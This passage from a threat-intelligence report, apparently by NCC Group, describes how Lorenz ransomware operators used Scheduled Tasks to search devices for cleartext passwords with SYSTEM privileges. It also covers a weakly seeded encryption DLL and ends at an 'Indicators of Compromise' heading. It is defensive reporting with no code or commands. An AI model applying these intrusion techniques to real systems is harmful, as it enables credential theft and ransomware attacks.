To conduct enumeration, the threat actor utilized Scheduled Tasks to execute command prompt to run built-in commands. These commands matched previously reported TTPs, and primarily consisted of searching the device for cleartext passwords and dumping the result to C:\Windows\Temp. It is likely the threat actor used Scheduled Tasks to automate enumeration and to ensure their commands were being executed with SYSTEM privileges.  

Encryption 

We observed the threat actor employing a DLL titled ‘[A-Z]{0-9}.sz41,’ positioned within the ‘C:\Windows\*‘ directory. This DLL was responsible for both the encryption process and the creation of the ransom note. Notably, the encryption technique deviated from previously documented methods. 

In this instance, the threat actor employed the current epoch time as a seed for a random number generator, which was subsequently used to generate a passphrase and then derive the encryption key. It is worth noting that this approach introduces a level of predictability to the encryption key if the period during which the encryption occurred is known. The DLL also contained a significant amount of redundant code, which does not execute, indicating this DLL has been iterated upon and possibly customized depending on the victim’s environment. 

As ransomware gangs continue to evolve their tactics, organisations must remain vigilant and adapt their cybersecurity strategies accordingly. The recent investigation by NCC Group underscores the importance of continuous monitoring and analysis to stay ahead of ransomware threats. By understanding the evolution of Lorenz’s recent activities, organisations and cyber defenders can be better prepared to identify ransomware precursors and mitigate the risk associated with ransomware groups. 

Indicators of Compromise